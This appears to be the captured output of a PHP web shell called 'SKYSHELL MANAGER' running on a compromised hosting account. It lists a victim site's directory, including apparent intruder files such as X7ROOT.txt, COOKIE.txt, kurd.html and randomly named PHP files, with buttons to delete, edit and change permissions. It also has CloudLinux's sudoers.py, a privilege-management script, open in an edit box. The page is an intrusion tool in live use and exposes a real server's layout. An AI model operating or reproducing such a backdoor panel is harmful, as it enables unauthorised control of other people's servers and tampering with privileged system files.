📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: sudoers.py
# coding=utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import print_function from __future__ import division from __future__ import absolute_import import grp import subprocess from cl_proc_hidepid import remount_proc from clcommon.cpapi import admins, getCPName from clcommon.sysctl import SysCtlConf, SYSCTL_CL_CONF_FILE from clcommon.const import Feature from clcommon.cpapi import is_panel_feature_supported from clsudo import Clsudo # Default admins group DEFAULT_GROUP_NAME = "admin" # Group name for fs.proc_super_gid SUPER_GROUP_NAME = "clsupergid" # Groupname for sudoers SUDOERS_GROUP_NAME = "clsudoers" def _add_user_to_group(user_name, group_name): """Add user to given unix group""" retcode = subprocess.call(["/usr/bin/gpasswd", "-a", user_name, group_name]) if retcode != 0: return False return True # Remove user from group def _remove_user_from_group(user_name, group_name): retcode = subprocess.call(["/usr/bin/gpasswd", "-d", user_name, group_name]) if retcode != 0: return False return True def _add_admins_into_group(group_name, new_admin_name): """ Add all present DA admins (plus new_admin_name admin) to supplied group :param new_admin_name: new admin name to add :return: """ # Get admin list from DA and append new admin name to it admin_list = list(admins()) if new_admin_name not in admin_list: admin_list.append(new_admin_name) for admin in admin_list: _add_user_to_group(admin, group_name) def _create_group(group_name): """Create group with given name""" retcode = subprocess.call(["/usr/sbin/groupadd", "-f", group_name]) if retcode != 0: return False return True def _add_admins_into_supergid_grp(new_admin_name): """ Add all present DA admins (plus new_admin_name admin) to current supergid group :param new_admin_name: new admin name to add :return: """ # Determine SUPER_GROUP_NAME gid super_gid = str(grp.getgrnam(SUPER_GROUP_NAME).gr_gid) sysctl_cfg = SysCtlConf(config_file=SYSCTL_CL_CONF_FILE) # returns set gid from sysctl.conf or kernel default proc_super_gid = sysctl_cfg.get('fs.proc_super_gid') # set fs.proc_super_gid and add admins to group with this gid if: # 1. it was not found in sysctl.conf; if not sysctl_cfg.has_parameter('fs.proc_super_gid'): sysctl_cfg.set('fs.proc_super_gid', super_gid) _add_admins_into_group(SUPER_GROUP_NAME, new_admin_name) return elif getCPName() == 'DirectAdmin': # Only for DA try: admin_gid = str(grp.getgrnam(DEFAULT_GROUP_NAME).gr_gid) except KeyError: admin_gid = None if proc_super_gid == admin_gid: sysctl_cfg.set('fs.proc_super_gid', super_gid) _add_admins_into_group(SUPER_GROUP_NAME, new_admin_name) return # otherwise read fs.proc_super_gid and add admins to group with this gid try: proc_super_gid = int(proc_super_gid) except ValueError: raise RuntimeError("Bad fs.proc_super_gid option value in /etc/sysctl.conf") # add all panel admins into custom proc_super_gid group proc_super_name = grp.getgrgid(proc_super_gid).gr_name _add_admins_into_group(proc_super_name, new_admin_name) def add_unix_user_to_sudoers(name): # create all supergid stuff only if regular CL edition if is_panel_feature_supported(Feature.LVE): if not _create_group(SUPER_GROUP_NAME): raise Exception("ERROR: Can't create %s group\n" % SUPER_GROUP_NAME) _add_admins_into_supergid_grp(name) if not _add_user_to_group(name, SUPER_GROUP_NAME): raise Exception("ERROR: Can't add user %s to %s group\n" % ( name, SUPER_GROUP_NAME)) if not _create_group(SUDOERS_GROUP_NAME): raise Exception("ERROR: Can't create %s group\n" % SUDOERS_GROUP_NAME) if not _add_user_to_group(name, SUDOERS_GROUP_NAME): raise Exception("ERROR: Can't add user %s to %s group\n" % ( name, SUDOERS_GROUP_NAME)) # Add SUDOERS_GROUP_NAME group to /etc/sudoers sudo = Clsudo() sudo.add_lvemanager_group(SUDOERS_GROUP_NAME) # CAG-796: use hidepid=2 when mounting /proc remount_proc() def remove_unix_user_from_sudoers(name): # Remove user from all groups _remove_user_from_group(name, SUPER_GROUP_NAME) _remove_user_from_group(name, SUDOERS_GROUP_NAME)
Save